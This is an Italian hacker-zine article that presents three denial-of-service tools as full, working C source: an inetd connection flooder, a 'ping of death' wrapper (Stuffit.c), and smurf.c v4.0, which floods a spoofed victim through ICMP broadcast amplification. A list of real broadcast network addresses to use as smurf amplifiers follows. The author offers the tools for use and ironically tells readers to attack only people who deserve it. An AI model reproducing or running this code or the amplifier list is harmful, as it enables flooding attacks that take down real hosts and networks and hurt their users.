D.O.S: disk operating system?naaaaaa
autore: SosPiro "!SunSetZer0 CreW!"
musica ascoltata: John Lennon (beatles ruLez!)
cibo consumato: tutto quello ke mi passa davanti dal duplo alla polvere della mia camera : )
Allora non penserete ke mi metta a fare una tristissima spiegazione su kos'è un denial of service vero??!?Quella l'hanno già fatta in molti ma tanto la cosa da capire è una sola:elimare i lamer ha un senso ke si credono dei fighi soltanto perkè usano Linux o ,peggio ancora, perchè il loro Windows 9X li protegge dalla gente kattiva.Insomma qui trovate soltanto una serie di d.o.s. ke mi sono sembrati davvero interessanti e ( soprattutto ) funzionanti.
1) Il primo qui sotto killa una porta controllata dal super daemon InetD.
/*
Inetd DoS by ArchAng3| 0f Death - Member Of Midgard Security Team.
Disclaimer : This is for educational purposes only!
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
int sockz;
void usage(char *esez)
{
printf("Inetd DoS by ArchAng3| 0f Death - Member Of Midgard Security Team\n\n");
printf("Syntax : %s host port [times to connect]\n\n",esez);
}
void main(int argc, char *argv[])
{
int i;
if(argc!=4){ usage(argv[0]); exit(0); }
for(i=0;i<atoi(argv[3]);i++){
DoS(argv[1],argv[2]);
printf("%d - ",i+1);
}
printf("Done!\n");
}
int DoS(char *z,char *x)
{
struct sockaddr_in sin;
struct hostent *he;
he=gethostbyname(z);
if(he) {
memcpy((caddr_t)&sin.sin_addr.s_addr, he->h_addr, he->h_length);
} else {
printf("Host [%s] --> Hmm , are you sure this is right??\n\n",z);
exit(-1);
}
sockz = socket(AF_INET, SOCK_STREAM, 0);
if(sockz < 0) {
printf("** Socket Error **\n");
exit(-1);
}
sin.sin_family = AF_INET;
sin.sin_port = htons(atoi(x));
if(connect( sockz, (struct sockaddr * )&sin, sizeof(sin)) < 0 ) {
printf("Host --> [%s] ** Port --> [%s]\n",z,x);
printf("Closed or Firewalled Port\n");
exit(-1);
}
close(sockz);
}
2) Pingone della morte: un classico.
/*
Stuffit.c
Noc-Wage -*- wage@idirect.ca <mailto:wage@idirect.ca>
12/12/98
This is just a modified version of:
pingflood.c By AntireZ
enhanced by David Welton <davidw@cks.com <mailto:davidw@cks.com>>
*/
#include <signal.h>
#define PING "/bin/ping"
main( int argc, char *argv[] )
{
int pid_ping;
if (argc < 3) {
printf("use: %s <hostname> <size> <illegal char> (I'd suggest 7e or 7d)\n", argv[0]);
exit(0);
}
if(!(pid_ping = fork()))
execl(PING, "ping", argv[1], "-s", argv[2], "-p", argv[3]);
if ( pid_ping <=0 ) {
printf("pid <= 0\n");
exit(1);
}
sleep (1); /* give it a second to start going */
while (1)
if ( kill(pid_ping, SIGALRM) )
exit(1);
}
3) Smurf 4
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#include <ctype.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
void banner(void);
void usage(char *);
void smurf(int, struct sockaddr_in, u_long, int);
void ctrlc(int);
unsigned short in_chksum(u_short *, int);
/* stamp */
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";
int main (int argc, char *argv[])
{
struct sockaddr_in sin;
struct hostent *he;
FILE *bcastfile;
int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
char buf[32], **bcastaddr = malloc(8192);
banner();
signal(SIGINT, ctrlc);
if (argc < 6) usage(argv[0]);
if ((he = gethostbyname(argv[1])) == NULL) {
perror("resolving source host");
exit(-1);
}
memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length);
sin.sin_family = AF_INET;
sin.sin_port = htons(0);
num = atoi(argv[3]);
delay = atoi(argv[4]);
pktsize = atoi(argv[5]);
if ((bcastfile = fopen(argv[2], "r")) == NULL) {
perror("opening bcast file");
exit(-1);
}
x = 0;
while (!feof(bcastfile)) {
fgets(buf, 32, bcastfile);
if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
for (i = 0; i < strlen(buf); i++)
if (buf[i] == '\n') buf[i] = '\0';
bcastaddr[x] = malloc(32);
strcpy(bcastaddr[x], buf);
x++;
}
bcastaddr[x] = 0x0;
fclose(bcastfile);
if (x == 0) {
fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
exit(-1);
}
if (pktsize > 1024) {
fprintf(stderr, "ERROR: packet size must be < 1024\n\n");
exit(-1);
}
if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("getting socket");
exit(-1);
}
setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast));
printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);
for (i = 0; i < num || !num; i++) {
if (!(i % 25)) { printf("."); fflush(stdout); }
smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
cycle++;
if (bcastaddr[cycle] == 0x0) cycle = 0;
usleep(delay);
}
puts("\n\n");
return 0;
}
void banner (void)
{
puts("\nsmurf.c v4.0 by TFreak\n");
}
void usage (char *prog)
{
fprintf(stderr, "usage: %s <target> <bcast file> "
"<num packets> <packet delay> <packet size>\n\n"
"target = address to hit\n"
"bcast file = file to read broadcast addresses from\n"
"num packets = number of packets to send (0 = flood)\n"
"packet delay = wait between each packet (in ms)\n"
"packet size = size of packet (< 1024)\n\n", prog);
exit(-1);
}
void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
{
struct iphdr *ip;
struct icmphdr *icmp;
char *packet;
packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
ip = (struct iphdr *)packet;
icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));
memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
ip->ihl = 5;
ip->version = 4;
ip->ttl = 255;
ip->tos = 0;
ip->frag_off = 0;
ip->protocol = IPPROTO_ICMP;
ip->saddr = sin.sin_addr.s_addr;
ip->daddr = dest;
ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr));
icmp->type = 8;
icmp->code = 0;
icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);
sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
0, (struct sockaddr *)&sin, sizeof(struct sockaddr));
free(packet); /* free willy! */
}
void ctrlc (int ignored)
{
puts("\nDone!\n");
exit(1);
}
unsigned short in_chksum (u_short *addr, int len)
{
register int nleft = len;
register int sum = 0;
u_short answer = 0;
while (nleft > 1) {
sum += *addr++;
nleft -= 2;
}
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)addr;
sum += answer;
}
sum = (sum >> 16) + (sum + 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}
Per smurfare vi serve pure una lista broadcast..ekkovela qua:)
192.33.182.0
210.228.7.255
155.229.80.0
150.154.192
167.155.239.255
170.163.20.0
207.109.167.0
144.122.34.255
144.122.34.0
207.13.180.0
168.212.160.0
168.179.39.255
168.179.36.0
206.40.29.255
206.40.29.0
168.178.59.255
168.178.56.0
192.106.21.0
199.104.22.0
205.152.24.0
197.98.2.255
192.68.112.255
204.134.240.255
208.23.48.255
208.23.48.0
199.104.22.255
156.153.204.0
194.236.237.0
168.180.139.255
168.180.138.0
206.254.172.255
192.77.117.0
159.215.18.255
197.98.2.0
192.77.117.255
161.217.7.255
161.217.7.0
205.152.24.255
193.49.107.255
159.215.18.0
152.157.138.0
199.185.244.255
199.5.205.0
209.83.145.255
208.7.1.255
198.93.246.255
161.119.62.255
168.179.157.255
199.250.220.255
199.250.220.0
199.250.219.255
199.250.219.0
193.49.104.255
143.55.176.0
168.179.156.0
141.249.50.255
209.84.74.255
Boh mi sembra ragionevole come lista di d.o.s...miraccomando usateli soltanto solo contro la gente ke se lo merita (si come no:)..
SoSpiRo
"SunsEt Zer0 CreW!"